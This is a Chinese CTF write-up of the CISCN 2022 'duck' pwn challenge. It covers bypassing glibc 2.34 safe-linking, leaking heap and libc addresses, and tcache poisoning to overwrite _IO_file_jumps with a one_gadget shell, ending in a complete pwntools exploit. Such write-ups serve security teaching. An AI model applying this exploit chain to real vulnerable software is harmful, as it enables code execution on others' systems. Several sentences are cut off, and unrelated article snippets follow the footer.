[CISCN 2022 华东北]duck一、题目来源NSSCTF-Pwn-[CISCN 2022 华东北]duck ![]() 二、信息搜集通过 ![]() 通过 ![]() 题目把 libc 文件和链接器都给我们了,我原本想着能用 $ pwninit
bin: ./ld.so
libc: ./libc.so.6
warning: failed detecting libc version (is the libc an Ubuntu glibc?): failed finding version string
copying ./ld.so to ./ld.so_patched
running patchelf on ./ld.so_patched
writing solve.py stub
[/code]
看报错信息应该是版本没有匹配到,而且它还错误地把链接器去打了个补丁…… 既然本题不能用 from pwn import *
exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")
p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
[/code]
三、反汇编文件开始分析通过 menu 的输出,我们大概就能知道本程序所实现的功能了: [code]ssize_t menu()
{
puts("1.Add");
puts("2.Del");
puts("3.Show");
puts("4.Edit");
return write(1, "Choice: ", 8u);
}
[/code]
一个一个功能分析。 1、Add[code]int Add()
{
int i; // [rsp+4h] [rbp-Ch]
void *v2; // [rsp+8h] [rbp-8h]
v2 = malloc(0x100u);
for ( i = 0; i <= 19; ++i )
{
if ( !heaplist[i] )
{
heaplist[i] = v2;
puts("Done");
return 1;
}
}
return puts("Empty!");
}
[/code]
会动态申请一片内存:
2、Del[code]int Del()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Idx: ");
v1 = sub_1249();
if ( v1 <= 20 && heaplist[v1] )
{
free((void *)heaplist[v1]);
return puts("Done");
}
else
{
puts("Not allow");
return v1;
}
}
[/code]
通过指定下标,来定位指定的 chunk,并且对该 chunk 进行 3、Show[code]int Show()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Idx: ");
v1 = sub_1249();
if ( v1 <= 20 && heaplist[v1] )
{
puts((const char *)heaplist[v1]);
return puts("Done");
}
else
{
puts("Not allow");
return v1;
}
}
[/code]
根据指定的 index 来输出 chunk 中的 User Data 部分。 4、Edit[code]int Edit()
{
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
puts("Idx: ");
v1 = sub_1249();
if ( v1 <= 20 && heaplist[v1] )
{
puts("Size: ");
v2 = sub_1249();
if ( v2 > 0x100 )
{
return puts("Error");
}
else
{
puts("Content: ");
READ(heaplist[v1], v2);
puts("Done");
return 0;
}
}
else
{
puts("Not allow");
return v1;
}
}
[/code]
根据指定的 index 在对应 chunk 的 User Data 部分进行修改。
四、思路1、目前可见的攻击手段
2、Safe-Linking首先,本题的 glibc 版本为 2.34: ![]() 这个版本中,针对 Tcache/Fastbin 方面的攻击,引入了 Safe-Linking 保护机制: [code]/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
[/code]
Tcache 中对该保护机制的应用: [code]/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}
[/code]
要理解这个保护机制,我们先要了解 Tcache 的 chunk 的插入方式,聚焦代码: [code]typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
[/code]
抛去保护机制不谈,对插入的部分进行简化得到: [code]e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
[/code]
这是一个标准的头插法(当前块的 next 指针指向目前的 Tcache 头节点,接着自己作为头节点)。 那么,现在我们就可以知道保护机制做了什么,即对 fd 指针进行: 因此,如果我们要绕过保护机制,就需要知道 chunk 的地址。换言之,就是堆的地址我们能否得到。 根据目前我们发现的攻击手段,是可以做到泄露 heap 的基址的。 Safe Linking 虽然使堆利用的难度上升,但是这个机制引发了一个非常有意思的现象。 就是在 Tcache bin 是空的情况下,当有一个 chunk 需要被放入其中的时候,此时的头节点是等于 0 的! 这个信息我们可以在 Tcache 的初始化操作中看出来: [code]static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
[/code]
关键点:
所以说,在 tcache 初始化完成且某个 bin 还没放过任何 chunk 的情况下, 而任何数和 0 进行异或,结果仍然是它本身。于是我们就得到了: $$ 从代码中,我们也可以看出 Tcache 初始化会动态申请一片大小为 typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
[/code]
计算得到 Tcache 管理块的大小(size,包含 chunk header)为 0x290。
分配完 Tcache 管理块之后再分配你申请的 chunk。那么,只要你申请的 chunk 不是很大,这个 chunk 的所在地址就会满足 $\le heap_base_address + 0x1000$。 而堆的地址,根据页对齐的要求,通常是 0x1000 的整数倍。 换言之,我们将此时的 fd 指针的值,进行: $$ 的操作之后,得到的地址很有可能就是堆的基址。
打个比方:
那么,对 0xaa……a500 依次进行 $>> 12$ 和 $<< 12$ 操作之后,就会得到 0xaa……a000 即堆的基址。 3、hooks 的移除![]() 这也就意味着,打 4、路线综上,我们得出了可行的利用路线:在泄露堆、libc 基址的情况下,通过任意地址写入,实现劫持 五、Poc1、程序四个功能的实现[code]def Add():
p.sendafter(b'Choice: ',b'1')
def Del(index):
p.sendafter(b'Choice: ',b'2')
p.sendafter(b'Idx: ',index)
def Show(index):
p.sendafter(b'Choice: ',b'3')
p.sendafter(b'Idx: ',index)
def Edit(index,size,content):
p.sendafter(b'Choice: ',b'4')
p.sendafter(b'Idx: ',index)
p.sendafter(b'Size: ',size)
p.sendafter(b'Content: ',content)
[/code]
2、泄露堆基址可以先来验证一下,我们之前分析的对不对,申请一个 chunk: [code]Add() # 0
gdb.attach(p)
pause()
[/code]
![]() 验证了 Tcache 管理块的大小确实是 0x290。 现在,我们将申请的 chunk 释放: [code]Add() # 0
Del(b'0')
gdb.attach(p)
pause()
[/code]
![]() 将 fd 指针进行 $fd = fd << 12$ 之后,得到的结果确实是堆的基址。 泄露: [code]Add() # 0
Del(b'0')
Show(b'0')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(leak))
[/code]
3、泄露 libc 基址这个的泄露方法想必大家都不陌生,就是利用 Unsorted bin 的特性。 关键点就在于,如何让 chunk 进入 Unsorted bin? 本题中,申请的 chunk 大小是 0x100,这个大小是符合 Tcache 而不符合 Fastbin 的。
而 Unsorted bin 中 chunk 的来源:
根据第二条,我们只要将 Tcache 给填满,即可让 chunk 进入 Unsorted bin,填满的要求: [code]/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
[/code]
很明显,每一个 Tcache bin 中最多能存放 7 个 chunk,那么当大小为 0x110(算上 chunk header)的 Tcache bin 被填满之后,我们继续释放一个不属于 Fastbin 大小的 chunk,如果这个 chunk 不与 top chunk 相邻,它就会进入 Unsorted bin。 如何不与 top chunk 相邻? 很简单,在第八个 chunk 的后面再申请一个即可,对应的代码: [code]for i in range(9):
Add()
for i in range(1,9):
Del(str(i).encode())
gdb.attach(p)
pause()
[/code]
[code]Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555577c12a00
Size: 0x110 (with flag bits: 0x111)
fd: 0x7310f94e8cc0
bk: 0x7310f94e8cc0
[/code]
目前 index 的使用情况: ![]() 泄露 libc 地址: [code]Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))
[/code]
4、劫持我们劫持的对象是 因此,我们需要确定要劫持哪一个 选择一个 IO 函数,比如 #include "libioP.h"
#include [/code]
其中,用到 FILE 结构体的我们都可以去 glibc 源码中追踪一下其调用流。 拿 #define _IO_putc_unlocked(_ch, _fp) __putc_unlocked_body (_ch, _fp)
[/code]
接着找 #define __putc_unlocked_body(_ch, _fp) \
(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \
? __overflow (_fp, (unsigned char) (_ch)) \
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
[/code]
要想理解这段代码,就得对 FILE 的结构有所了解,这里放出与之有关的定义: [code]struct _IO_FILE
{
……
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
……
};
[/code]
明显,当缓冲与满了的时候,会调用 #define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow); // 在这:刷新缓冲区
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
……
};
[/code]
我们知道, 为什么是这样的对应呢? 依旧从源码出发,在文件 FILE *stdout = (FILE *) &_IO_2_1_stdout_;
[/code]
而 #ifdef _IO_MTSAFE_IO
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};
#else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};
#endif
DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
[/code]
将宏展开之后可以得到等价定义: [code]struct _IO_FILE_plus _IO_2_1_stdout_ =
{
FILEBUF_LITERAL(...), // 填满前面的 _IO_FILE 那一坨字段
&_IO_file_jumps // vtable 指针
};
[/code]
Poc: [code]'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xda864 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]
_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking,注意 0x8f0 是通过动态调试找到的
Edit(b'7',b'8',p64(target))
Add()
Add()
Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1])) # 测试后,第二条 one_gadget 可行。
[/code]
5、完整 Poc[code]from heapq import heapify
from pwn import *
exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")
p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
def Add():
p.sendafter(b'Choice: ',b'1')
def Del(index):
p.sendafter(b'Choice: ',b'2')
p.sendafter(b'Idx: ',index)
def Show(index):
p.sendafter(b'Choice: ',b'3')
p.sendafter(b'Idx: ',index)
def Edit(index,size,content):
p.sendafter(b'Choice: ',b'4')
p.sendafter(b'Idx: ',index)
p.sendafter(b'Size: ',size)
p.sendafter(b'Content: ',content)
Add() # 0
Del(b'0')
Show(b'0')
p.recvline()
heap_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(heap_base))
for i in range(9):
Add()
for i in range(1,9):
Del(str(i).encode())
Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))
'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xda864 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]
_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps)
Edit(b'7',b'8',p64(target))
Add()
Add()
Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1]))
p.interactive()
[/code]来源:程序园用户自行投稿发布,如果侵权,请联系站长删除 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |

在整数这个崭新的世界里,乘法是畅通无阻的。但它的逆运算——除法,又成了新的不可能任务。6 / 3 = 2,没问题,结果还是个整数。但 3 / 6 呢?2 / 3 呢?1 / 2 呢?在整数的世界里,没有它们的容身之处。 是时候再
一、相关定义 1、SLI、SLO、SLA是什么 SLI:Service Level Indicator,是服务等级指标的简称,她是衡量系统稳定性的指标。 SLO:Service Level Objective,服务等级目标的简称,也是我们设定的稳定性目标